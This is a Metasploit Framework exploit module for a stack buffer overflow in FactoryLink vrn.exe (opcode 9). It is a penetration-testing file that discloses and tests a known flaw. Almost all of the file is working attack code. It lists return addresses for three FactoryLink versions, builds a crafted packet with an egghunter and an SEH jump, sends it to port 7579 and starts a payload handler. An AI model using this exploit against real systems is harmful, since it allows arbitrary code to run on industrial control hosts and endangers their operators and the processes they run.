##
# $Id: factorylink_vrn_09.rb 12996 2011-06-21 18:02:35Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703.
          By sending a specially crafted packet, an attacker may be able to execute arbitrary code. 
          Originally found and posted by Luigi Auriemma.
      },
      'Author'         =>
        [ 
          'Luigi Auriemma', # Public exploit
          'hal'             # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 12996 $',
      'References'     =>
        [
          ['OSVDB', '72815'],
          ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 885,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
          [ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
          [ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 21 2011'))

    register_options([Opt::RPORT(7579)], self.class)
  end

  def exploit
    connect

    hunter = generate_egghunter(payload.encoded, payload_badchars,
      { :checksum => true, :startreg => 'ebp'})

    egg = hunter[1]

    header =    "\x3f\x3f\x3f\x3f"
    header <<   "\xff\x55"
    header <<   "\x09\x00"
    header <<   "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
    header <<   "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
    header <<   "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
    header <<   "\x3f\x3f"
    header <<   "\xff\xff\xff\xff"
    header <<   "\x3f\x3f"

    request =   header
    request <<  rand_text_alpha_upper(100)
    request <<  egg
    request <<  ("C" * target['padding'])
    request <<  "\xeb\x06\x90\x90"
    request <<  [target.ret].pack('V')
    request <<  "C"*24
    request <<  hunter[0]
    request <<  rand_text_alpha_upper(100000)

    print_status("Trying target #{target.name} with #{request.size} bytes")
    sock.put(request)

    handler
    disconnect
  end
end